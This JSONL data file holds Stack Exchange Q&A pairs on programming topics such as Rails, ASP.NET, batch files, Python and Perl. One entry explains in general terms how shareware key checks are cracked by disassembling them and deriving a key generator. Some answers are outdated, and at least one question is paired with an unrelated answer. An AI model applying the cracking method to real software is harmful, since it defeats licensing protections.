{"id": "hf_8495432eda88", "question": "<p>I have a Rails 2.0.2 application running with a postgresql db. The machine will receive data on a TCP port. I already have coded a working ruby multithreaded tcp server to receive the requests, but I need this code to run alongside my Rails app.</p>\n\n<p>So I guess I need to know how to span a new process inside Rails, or how to create a worker thread that will run my threaded tcp server loop. My ruby tcp server could have access to ActiveRecord, but it's not necessary (I can always create an http request, posting the received data to the original Rails server)</p>\n", "question_body": "", "answer": "Why complicate things?  Just run the applications -- your TCP server and the Rails application -- side by side.\nEither pull the model tier (and ActiveRecord) into your TCP server (svn::externals or Piston might work well for that) and let the communication between the two applications happen through the database, or let the Rails application be the \"master\" and communicate with it via HTTP as you suggest.\nTo turn a Ruby application into a Windows service, see the\n```\nwin32-service\n```\ngem available from the\n```\nwin32utils\n```\nproject:\nhttp://rubyforge.org/projects/win32utils/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.807703"}
{"id": "hf_531e23d024c1", "question": "<p>Can anyone recommend a dropdownlist control for asp.net (3.5) that can render option groups? Thanks</p>\n", "question_body": "", "answer": "I've used the standard control in the past, and just added a simple\nControlAdapter\nfor it that would override the default behavior so it could render <optgroup>s in certain places. This works great even if you have controls that don't need the special behavior, because the additional feature doesn't get in the way.\nNote that this was for a specific purpose and written in .Net 2.0, so it may not suit you as well, but it should at least give you a starting point. Also, you have to hook it up using a .browserfile in your project (see the end of the post for an example).\n```\n```\n'This codes makes the dropdownlist control recognize items with \"--\"\n'for the label or items with an OptionGroup attribute and render them\n'as <optgroup> instead of <option>.\nPublic Class DropDownListAdapter\n    Inherits System.Web.UI.WebControls.Adapters.WebControlAdapter\n\n    Protected Overrides Sub RenderContents(ByVal writer As HtmlTextWriter)\n        Dim list As DropDownList = Me.Control\n        Dim currentOptionGroup As String\n        Dim renderedOptionGroups As New Generic.List(Of String)\n\n        For Each item As ListItem In list.Items\n            Page.ClientScript.RegisterForEventValidation(list.UniqueID, item.Value)\n            If item.Attributes(\"OptionGroup\") IsNot Nothing Then\n                'The item is part of an option group\n                currentOptionGroup = item.Attributes(\"OptionGroup\")\n                If Not renderedOptionGroups.Contains(currentOptionGroup) Then\n                    'the header was not written- do that first\n                    'TODO: make this stack-based, so the same option group can be used more than once in longer select element (check the most-recent stack item instead of anything in the list)\n                    If (renderedOptionGroups.Count > 0) Then\n                        RenderOptionGroupEndTag(writer) 'need to close previous group\n                    End If\n                    RenderOptionGroupBeginTag(currentOptionGroup, writer)\n                    renderedOptionGroups.Add(currentOptionGroup)\n                End If\n                RenderListItem(item, writer)\n            ElseIf item.Text = \"--\" Then 'simple separator\n                RenderOptionGroupBeginTag(\"--\", writer)\n                RenderOptionGroupEndTag(writer)\n            Else\n                'default behavior: render the list item as normal\n                RenderListItem(item, writer)\n            End If\n        Next item\n\n        If renderedOptionGroups.Count > 0 Then\n            RenderOptionGroupEndTag(writer)\n        End If\n    End Sub\n\n    Private Sub RenderOptionGroupBeginTag(ByVal name As String, ByVal writer As HtmlTextWriter)\n        writer.WriteBeginTag(\"optgroup\")\n        writer.WriteAttribute(\"label\", name)\n        writer.Write(HtmlTextWriter.TagRightChar)\n        writer.WriteLine()\n    End Sub\n\n    Private Sub RenderOptionGroupEndTag(ByVal writer As HtmlTextWriter)\n        writer.WriteEndTag(\"optgroup\")\n        writer.WriteLine()\n    End Sub\n\n    Private Sub RenderListItem(ByVal item As ListItem, ByVal writer As HtmlTextWriter)\n        writer.WriteBeginTag(\"option\")\n        writer.WriteAttribute(\"value\", item.Value, True)\n        If item.Selected Then\n            writer.WriteAttribute(\"selected\", \"selected\", False)\n        End If\n\n        For Each key As String In item.Attributes.Keys\n            writer.WriteAttribute(key, item.Attributes(key))\n        Next key\n\n        writer.Write(HtmlTextWriter.TagRightChar)\n        HttpUtility.HtmlEncode(item.Text, writer)\n        writer.WriteEndTag(\"option\")\n        writer.WriteLine()\n    End Sub\nEnd Class\n```\n```\nHere's a C# implementation of the same Class:\n```\n```\n/* This codes makes the dropdownlist control recognize items with \"--\"\n * for the label or items with an OptionGroup attribute and render them\n * as <optgroup> instead of <option>.\n */\npublic class DropDownListAdapter : WebControlAdapter\n{\n    protected override void RenderContents(HtmlTextWriter writer)\n    {\n        //System.Web.HttpContext.Current.Response.Write(\"here\");\n        var list = (DropDownList)this.Control;\n        string currentOptionGroup;\n        var renderedOptionGroups = new List<string>();\n\n        foreach (ListItem item in list.Items)\n        {\n            Page.ClientScript.RegisterForEventValidation(list.UniqueID, item.Value);\n            //Is the item part of an option group?\n            if (item.Attributes[\"OptionGroup\"] != null)\n            {\n                currentOptionGroup = item.Attributes[\"OptionGroup\"];\n                //Was the option header already written, then just render the list item\n                if (renderedOptionGroups.Contains(currentOptionGroup))\n                    RenderListItem(item, writer);\n                //The header was not written,do that first\n                else\n                {\n                    //Close previous group\n                    if (renderedOptionGroups.Count > 0)\n                        RenderOptionGroupEndTag(writer);\n\n                    RenderOptionGroupBeginTag(currentOptionGroup, writer);\n                    renderedOptionGroups.Add(currentOptionGroup);\n                    RenderListItem(item, writer);\n                }\n            }\n            //Simple separator\n            else if (item.Text == \"--\")\n            {\n                RenderOptionGroupBeginTag(\"--\", writer);\n                RenderOptionGroupEndTag(writer);\n            }\n            //Default behavior, render the list item as normal\n            else\n                RenderListItem(item, writer);\n        }\n\n        if (renderedOptionGroups.Count > 0)\n            RenderOptionGroupEndTag(writer);\n    }\n\n    private void RenderOptionGroupBeginTag(string name, HtmlTextWriter writer)\n    {\n        writer.WriteBeginTag(\"optgroup\");\n        writer.WriteAttribute(\"label\", name);\n        writer.Write(HtmlTextWriter.TagRightChar);\n        writer.WriteLine();\n    }\n    private void RenderOptionGroupEndTag(HtmlTextWriter writer)\n    {\n        writer.WriteEndTag(\"optgroup\");\n        writer.WriteLine();\n    }\n    private void RenderListItem(ListItem item, HtmlTextWriter writer)\n    {\n        writer.WriteBeginTag(\"option\");\n        writer.WriteAttribute(\"value\", item.Value, true);\n        if (item.Selected)\n            writer.WriteAttribute(\"selected\", \"selected\", false);\n\n        foreach (string key in item.Attributes.Keys)\n            writer.WriteAttribute(key, item.Attributes[key]);\n\n        writer.Write(HtmlTextWriter.TagRightChar);\n        HttpUtility.HtmlEncode(item.Text, writer);\n        writer.WriteEndTag(\"option\");\n        writer.WriteLine();\n    }\n}\n```\n```\nMy browser file was named \"App_Browsers\\BrowserFile.browser\" and looked like this:\n```\n```\n<!--\n    You can find existing browser definitions at\n    <windir>\\Microsoft.NET\\Framework\\<ver>\\CONFIG\\Browsers\n-->\n<browsers>\n   <browser refID=\"Default\">\n      <controlAdapters>\n        <adapter controlType=\"System.Web.UI.WebControls.DropDownList\" \n               adapterType=\"DropDownListAdapter\" />\n      </controlAdapters>\n   </browser>\n</browsers>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.832158"}
{"id": "hf_a2b6682299f5", "question": "<p>Is there a built-in editor for a multi-line string in a <code>PropertyGrid</code>.</p>\n", "question_body": "", "answer": "No, you will need to create what's called a modal UI type editor. You'll need to create a class that inherits from UITypeEditor. This is basically a form that gets shown when you click on the ellipsis button on the right side of the property you are editing.\nThe only drawback I found, was that I needed to decorate the specific string property with a specific attribute. It's been a while since I had to do that. I got this information from a book by Chris Sells called \"Windows Forms Programming in C#\"\nThere's a commercial propertygrid called\nSmart PropertyGrid.NET\nby VisualHint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.869673"}
{"id": "hf_7406351125b6", "question": "<p>I mean, I always was wondered about how the hell somebody can develop algorithms to break/cheat the constraints of legal use in many shareware programs out there.</p>\n\n<p>Just for curiosity.</p>\n", "question_body": "", "answer": "The bad guys search for the key-check code using a disassembler. This is relative easy if you know how to do this.\nAfterwards you translate the key-checking code to C or another language (this step is optional). Reversing the process of key-checking gives you a key-generator.\nIf you know assembler it takes roughly a weekend to learn how to do this. I've done it just some years ago (never released anything though. It was just research for my game-development job. To write a hard to crack key you have to understand how people approach cracking).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.912866"}
{"id": "hf_ca30a6f8bb02", "question": "<p>python's time module seems a little haphazard.  For example, here is a list of methods in there, from the docstring:</p>\n\n<pre><code>time() -- return current time in seconds since the Epoch as a float\nclock() -- return CPU time since process start as a float\nsleep() -- delay for a number of seconds given as a float\ngmtime() -- convert seconds since Epoch to UTC tuple\nlocaltime() -- convert seconds since Epoch to local time tuple\nasctime() -- convert time tuple to string\nctime() -- convert time in seconds to string\nmktime() -- convert local time tuple to seconds since Epoch\nstrftime() -- convert time tuple to string according to format specification\nstrptime() -- parse string to time tuple according to format specification\ntzset() -- change the local timezone\n</code></pre>\n\n<p>Looking at localtime() and its inverse mktime(), why is there no inverse for gmtime() ?</p>\n\n<p>Bonus questions: what would you name the method ? How would you implement it ?</p>\n", "question_body": "", "answer": "I always thought the time and datetime modules were a little incoherent.  Anyways, here's the inverse of mktime\n```\n```\nimport time\ndef mkgmtime(t):\n    \"\"\"Convert UTC tuple to seconds since Epoch\"\"\"\n    return time.mktime(t)-time.timezone\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.949505"}
{"id": "hf_5d5865c28408", "question": "<p>How can you get the directory of the script that was run and use it within the .cmd file?</p>\n", "question_body": "", "answer": "Raymond Chen has a few ideas:\nhttps://devblogs.microsoft.com/oldnewthing/20050128-00/?p=36573\nQuoted here in full because MSDN archives tend to be somewhat unreliable:\nThe easy way is to use the\n```\n%CD%\n```\npseudo-variable. It expands to the\n  current working directory.\n```\nset OLDDIR=%CD%\n```\n```\n.. do stuff ..\n```\n```\nchdir /d %OLDDIR% &rem restore current directory\n```\n(Of course, directory save/restore could more easily have\n  been done with\n```\npushd\n```\n/\n```\npopd\n```\n, but that's not the point here.)\nThe\n```\n%CD%\n```\ntrick is handy even from the command line. For example, I\n  often find myself in a directory where there's a file that I want to\n  operate on but... oh, I need to chdir to some other directory in order\n  to perform that operation.\n```\nset _=%CD%\\curfile.txt\n```\n```\ncd ... some other directory ...\n```\n```\nsomecommand args %_% args\n```\n(I like to use\n```\n%_%\n```\nas my scratch environment variable.)\nType\n```\nSET /?\n```\nto see the other pseudo-variables provided by the command\n  processor.\nAlso the comments in the article are well worth scanning for example this one (via the WayBack Machine, since comments are gone from older articles):\nhttp://blogs.msdn.com/oldnewthing/archive/2005/01/28/362565.aspx#362741\nThis covers the use of %~dp0:\nIf you want to know where the batch file lives:\n```\n%~dp0\n```\n```\n%0\n```\nis the name of the batch file.\n```\n~dp\n```\ngives you the drive and path of\n  the specified argument.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:14.985826"}
{"id": "hf_a7d9222f6163", "question": "<p>How can I read the first line from a text file using a Windows batch file? Since the file is large I only want to deal with the first line.</p>\n", "question_body": "", "answer": "You might give this a try:\n```\n```\n@echo off\n\nfor /f %%a in (sample.txt) do (\n  echo %%a\n  exit /b\n)\n```\n```\nedit\nOr, say you have four columns of data and want from the 5th row down to the bottom, try this:\n```\n```\n@echo off\n\nfor /f \"skip=4 tokens=1-4\" %%a in (junkl.txt) do (\n  echo %%a %%b %%c %%d\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.012393"}
{"id": "hf_3ae3bd376c1a", "question": "<p>Has anyone worked with the StarTeam COM API (Specifically, intergrating with C#).</p>\n\n<p>I need to write a helper function that returns a directory structure out of Starteam, but all I've been able to retrieve using this API has been a list of views.</p>\n\n<p>Has anyone else tried this?</p>\n", "question_body": "", "answer": "the Starteam object model is heirachical, projects contain views, views contain folders, folders contain items (child folders, files, cr's etc)\nSo once you have your view list you can get the folders that belong to the view, then you have a few properties that determine how they map to the local file system, both the view object and the folder objects have a readonly path property. There are 4 other properties of interest though, on the view object read up on the DefaultPath and AlternatePath properties and on the folder object the DefaultPathFragment and AlternatePathFragment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.049843"}
{"id": "hf_894aefa812b1", "question": "<p>I am trying to write a macro that would \"click\" a command button that is in another workbook. Is that possible? Without changing any of the code within that other workbook?</p>\n", "question_body": "", "answer": "You can use\n```\nApplication.Run\n```\nfor that:\n```\n```\nRun \"OtherWorkbook.xls!MyOtherMacro\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.110537"}
{"id": "hf_806537ce1bad", "question": "<p>Assuming I have only the class name of a generic as a string in the form of \"MyCustomGenericCollection(of MyCustomObjectClass)\" and don't know the assembly it comes from, what is the easiest way to create an instance of that object? </p>\n\n<p>If it helps, I know that the class implements IMyCustomInterface and is from an assembly loaded into the current AppDomain.</p>\n\n<p>Markus Olsson gave an excellent example <a href=\"https://stackoverflow.com/questions/31238/c-instantiating-classes-from-xml\">here</a>, but I don't see how to apply it to generics.</p>\n", "question_body": "", "answer": "Once you parse it up, use\nType.GetType(string)\nto get a reference to the types involved, then use\nType.MakeGenericType(Type[])\nto construct the specific generic type you need.  Then, use\nType.GetConstructor(Type[])\nto get a reference to a constructor for the specific generic type, and finally call\nConstructorInfo.Invoke\nto get an instance of the object.\n```\n```\nType t1 = Type.GetType(\"MyCustomGenericCollection\");\nType t2 = Type.GetType(\"MyCustomObjectClass\");\nType t3 = t1.MakeGenericType(new Type[] { t2 });\nConstructorInfo ci = t3.GetConstructor(Type.EmptyTypes);\nobject obj = ci.Invoke(null);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.196344"}
{"id": "hf_d593cb139ab1", "question": "<p>I started using subversion for one of my projects and it would be absolutely amazing if I could just export the latest version from the repository on my production server by for example running a php or perl script.</p>\n\n<p>The production site is hosted with a shared hosting provider who doesn't allow shell access or for example the php <a href=\"http://www.php.net/manual/en/function.exec.php\" rel=\"nofollow noreferrer\"><code>exec()</code></a> function. (I don't know much about perl; I only know that my hoster allows perl and custom cgi scripts).</p>\n\n<p>Is it possible to perform a SVN export in this environment?</p>\n", "question_body": "", "answer": "SVN supports access over WebDAV (i.e. HTTPS). This means for simple read access you don't actually need an SVN client to access an SVN repository. You can even use a web browser, or in your case any PHP function that accepts a URL as its argument. SVN has to be set up on the server side to work with apache, for more info check out the\nsvn red book", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.236547"}
{"id": "hf_7a1e36fd5fb4", "question": "<p>The Python list comprehension syntax makes it easy to filter values within a comprehension.  For example:</p>\n\n<pre><code>result = [x**2 for x in mylist if type(x) is int]\n</code></pre>\n\n<p>Will return a list of the squares of integers in mylist.  However, what if the test involves some (costly) computation and you want to filter on the result?  One option is:</p>\n\n<pre><code>result = [expensive(x) for x in mylist if expensive(x)]\n</code></pre>\n\n<p>This will result in a list of non-\"false\" expensive(x) values, however expensive() is called twice for each x.  Is there a comprehension syntax that allows you to do this test while only calling expensive once per x?</p>\n", "question_body": "", "answer": "Came up with my own answer after a minute of thought.  It can be done with nested comprehensions:\n```\n```\nresult = [y for y in (expensive(x) for x in mylist) if y]\n```\n```\nI guess that works, though I find nested comprehensions are only marginally readable", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.285308"}
{"id": "hf_28ffd70b92c3", "question": "<h3>Background</h3>\n\n<p>Normal rails eager-loading of collections works like this:</p>\n\n<pre><code>Person.find(:all, :include=&gt;:companies)\n</code></pre>\n\n<p>This generates some sql which does</p>\n\n<pre><code>LEFT OUTER JOIN companies ON people.company_id = companies.id\n</code></pre>\n\n<h3>Question</h3>\n\n<p>However, I need a custom join (this could also arise if I was using <code>find_by_sql</code>) so I can't use the vanilla <code>:include =&gt; :companies</code></p>\n\n<p>The custom join/sql will get me all the data I need, but how can I tell activerecord that it belongs to the associated <code>Company</code> objects rather than just being a pile of extra rows?</p>\n\n<h3>Update</h3>\n\n<p>I need to put additional conditions in the join. Something like this:</p>\n\n<pre><code>SELECT blah blah blah\nLEFT OUTER JOIN companies ON people.company_id = companies.id AND people.magical_flag IS NULL \n&lt;Several other joins&gt;\nWHERE blahblahblah\n</code></pre>\n", "question_body": "", "answer": "Can you not add the join conditions using ActiveRecord?\nFor example, I have a quite complex query using several dependent records and it works fine by combining conditions and include directives\n```\n```\nContractors.find(\n  :all, \n  :include => {:council_areas => :suburbs},\n  :conditions => [\"suburbs.postcode = ?\", customer.postcode]                 \n)\n```\n```\nAssuming that:\nContractors have_many CouncilAreas\nCouncilAreas have_many Suburbs\nThis join returns the Contractors in the suburb identified by\ncustomer.postcode\n.\nThe generated query looks like:\n```\n```\nSELECT contractors.*, council_areas.*, suburbs.*\nFROM `contractors` \nLEFT OUTER JOIN `contractors_council_areas` ON `contractors_council_areas`.contractor_id = `contractors`.id \nLEFT OUTER JOIN `council_areas` ON `council_areas`.id = `contractors_council_areas`.council_area_id \nLEFT OUTER JOIN `council_areas_suburbs` ON `council_areas_suburbs`.council_area_id = `council_areas`.id \nLEFT OUTER JOIN `suburbs` ON `suburbs`.id = `council_areas_suburbs`.suburb_id WHERE (suburbs.postcode = '5000')\n```\n```\n(Note: I edited the column list for brevity).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.325724"}
{"id": "hf_2d64c44741de", "question": "<p>I have a server that sends data via a socket, the data is a wav 'file'. I can easily write the data to disk and then play it in WMP, but I have no idea how I can play it as I read it from the socket. Is it possible?</p>\n\n<p>Bonus question: how would I do it if the stream was in mp3 or other format?</p>\n\n<p>This is for windows in native C++.</p>\n", "question_body": "", "answer": "Because you've said WMP, I'm assuming the question applies to trying to play a wav file on a windows machine.  If not, this answer isn't relevant.\nWhat you want to do isn't trivial.  There is a good article\nhere\non code project that describes the windows audio model.  It describes how to set up the audio device and how to stream data into the device for playback.  You \"simply\" need to supply data coming in from your socket as data for the playback buffers.  But that's where all of the tricky work is.  You have to be sure that\nYou have enough data to begin a playback\nHandle the case when your socket is starved for data and you have nothing to send to the playback buffer\nYou are able to read data off of the socket with enough speed to keep the playback buffers full\nIt's an interesting exercise.  But tricky.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.364512"}
{"id": "hf_b087a1414e69", "question": "<p>What is the proper way to inject a data access dependency when I do lazy loading?</p>\n\n<p>For example I have the following class structure</p>\n\n<pre><code>class CustomerDao : ICustomerDao\n  public Customer GetById(int id) {...}\n\nclass Transaction {\n  int customer_id; //Transaction always knows this value\n  Customer _customer = null;\n  ICustomerDao _customer_dao;\n  Customer GetCustomer() {\n    if(_customer == null)\n      _customer = _customer_dao.GetById(_customer_id);\n    return _customer\n  }\n</code></pre>\n\n<p>How do I get the reference to _customer_dao into the transaction object?  Requiring it for the constructor seems like it wouldn't really make sense if I want the Transaction to at least look like a POCO.  Is it ok to have the Transaction object reference the Inversion of Control Container directly?  That also seems awkward too.</p>\n\n<p>How do frameworks like NHibernate handle this?</p>\n", "question_body": "", "answer": "I typically do the dependency injection in the constructor like you have above, but take the lazy loading a step further by acting only when the \"get\" is called like I have below.  Not sure if this is the pure approach you are looking for, but it does eliminate the \"dirty\" constructor DI/Lazy Loading in 1 step ;)\n```\n```\npublic class Product\n{\n    private int mProductID;\n    private Supplier mSupplier;\n    private ISupplierService mSupplierService;\n\n    public Product()\n    {\n      //if you want your object to remain POCO you can use dual constr\n      //this constr will be for app use, the next will be for testing\n    } \n\n    public Product(ISupplierService SupplierService)\n    {\n        mSupplierService = SupplierService;\n    }\n\n    public Supplier Supplier {\n        get {\n            if (mSupplier == null) {\n                if (mSupplierService == null) {\n                    mSupplierService = new SupplierService();\n                }\n                mSupplier = mSupplierService.GetSupplierByProductID(mProductID);\n            }\n            return mSupplier;\n        }\n        set { mSupplier = value; }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.388877"}
{"id": "hf_789e879d00fa", "question": "<p>I cant seem to find much info on haskells layout features, as I understand it is something like pythons formatting requirements except that is optional. How can I choose not to use this option correctly? Would it be a good idea to start without it so that I get a solid feel for the language itself?</p>\n", "question_body": "", "answer": "See\nhttp://en.wikibooks.org/wiki/Programming:Haskell_indentation\nand\nhttp://www.haskell.org/onlinereport/lexemes.html#sect2.7\n(both contain examples).\nPros:\nless typing\nless to read, nicer-looking (if you're comfortable with it)\nCons:\nyou might get it wrong, especially if you're not familiar with it. Braces make things crystal clear if you're not sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.425836"}
{"id": "hf_2851342eeb74", "question": "<p>Is there a way to use constants in <strong>JavaScript</strong>?</p>\n\n<p>If not, what's the common practice for specifying variables that are used as constants?</p>\n", "question_body": "", "answer": "No, not in general. Firefox implements\n```\nconst\n```\nbut I know IE doesn't.\n@John\npoints to a common naming practice for consts that has been used for years in other languages, I see no reason why you couldn't use that. Of course that doesn't mean someone will not write over the variable's value anyway. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.549902"}
{"id": "hf_70ff05402c55", "question": "<p>I'm trying to find a way to &quot;pretty print&quot; a JavaScript data structure in a human-readable form for debugging.</p>\n<p>I have a rather big and complicated data structure being stored in JS and I need to write some code to manipulate it. In order to work out what I'm doing and where I'm going wrong, what I really need is to be able to see the data structure in its entirety, and update it whenever I make changes through the UI.</p>\n<p>All of this stuff I can handle myself, apart from finding a nice way to dump a JavaScript data structure to a human-readable string. JSON would do, but it really needs to be nicely formatted and indented. I'd usually use Firebug's excellent DOM dumping stuff for this, but I really need to be able to see the entire structure at once, which doesn't seem to be possible in Firebug.</p>\n", "question_body": "", "answer": "In\n```\nFirebug\n```\n, if you just\n```\nconsole.debug (\"%o\", my_object)\n```\nyou can click on it in the console and enter an interactive object explorer. It shows the entire object, and lets you expand nested objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.585853"}
{"id": "hf_2338ab14ffe2", "question": "<p>How does AOP (<em>Aspect Oriented Programming</em>) work in Drupal?</p>\n<p>I have learned about AOP in terms of using it for logging and security, but how does it apply to Drupal?</p>\n", "question_body": "", "answer": "Drupal mimics AOP paradigms through hooks, which basically allow developers to weave in bits of code during the flow of execution. You can take a look at the hooks a developer can implement on the\nlist of Drupal hooks\nshown in the Drupal documentation site, which just lists the hooks invoked from Drupal core and its modules.\nAs a quick example, if I were developing a new node based module (nodes being the basic data form in Drupal), I have instant access to comments and taxonomy with no additional work on my part. the comment and taxonomy modules have the ability to hook into nodes, and provide that added functionality. So in that sense, I don't have to account for such features in my program but I am able to take advantage of that flexibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.658021"}
{"id": "hf_8ccd6a2fda57", "question": "<p>Does a hash shrink in Perl as you delete elements. </p>\n\n<p>More specifically I had a perl program that I inherited that would parse a huge file ( 1 GB ) and load up a hash of hashes. it would do that same for another file and then do a comparison of different elements. The memory consumption was huge during this process and even though I added deleting hash elements has they were used the memory consumption seemed to be unaffected.</p>\n\n<p>The script was extremely slow and such a memory hog. I know it was not well designed but any ideas about the hash memory usage?</p>\n", "question_body": "", "answer": "In general, Perl cannot return memory to the operating system. It may be able to reuse memory internally, though, which could reduce the amount of memory needed by a program.\nSee perlfaq3:\nHow can I free an array or hash so my program shrinks?\nIf the memory used by the hashes is excessive (i.e. > physical memory) you could\n```\ntie\n```\nthem to a file on disk. This would greatly reduce your memory usage but be warned that accessing a structure on disk is much slower than accessing one in memory. (So is disk thrashing.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.694263"}
{"id": "hf_d7f76cb7d69e", "question": "<p>I use the commercial version of Jalopy for my Java projects but it doesn't work on Groovy files.  IntelliJ has a serviceable formatter but I don't like requiring a particular IDE.</p>\n", "question_body": "", "answer": "Try \"BUSL\"\n2022-10-26 NOTE:\nHISTORIC. \"BUSL\" seems to be dead.\nLast archived webpage is from 2020\n.\nI've found that\nBUSL\nworks really well on Groovy files. It's standalone too, so you can use it from your text editor or whatever.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.730115"}
{"id": "hf_928a51db79ea", "question": "<p>I'd really like to get into some D3D coding, but I don't have the time lately to learn C++ for what will amount to a hobby project.</p>\n", "question_body": "", "answer": "The number that your application needs; no more, and no less.\nObviously, if you're writing an application which contains some parallelisable algorithm, then you can probably start benchmarking to find a good balance in the number of threads, but bear in mind that hundreds of threads won't speed up any operation.\nIf your algorithm can't be parallelised, then no number of additional threads is going to help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.790332"}
{"id": "hf_99bde928589f", "question": "<p>I am building an application where a page will load user controls (x.ascx) dynamically based on query string. </p>\n\n<p>I have a validation summary on the page and want to update it from the User Controls. This will allow me to have multiple controls using one Validation Summary. How can I pass data between controls and pages. </p>\n\n<p>I know I can define the control at design time and use events to do that but these controls are loaded dynamically using Page.LoadControl.</p>\n\n<p>Also, I want to avoid using sessions or querystring.</p>\n", "question_body": "", "answer": "Assuming you're talking about asp's validator controls, making them work with the validation summary should be easy: use the same Validation Group. Normally, I derive all usercontrols from a base class that adds a ValidationGroup property whose setter calls a overriden method that changes all internal validators to the same validation group.\nThe tricky part is making them behave when added dynamically. There are some gotchas you should be aware of, mainly concerning the page cycle and when you add them to your Page object. If you know all the possible user controls you'll use during design time, I'd try to add them statically using EnableViewState and Visible to minimize overhead, even if there are too many of them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.865649"}
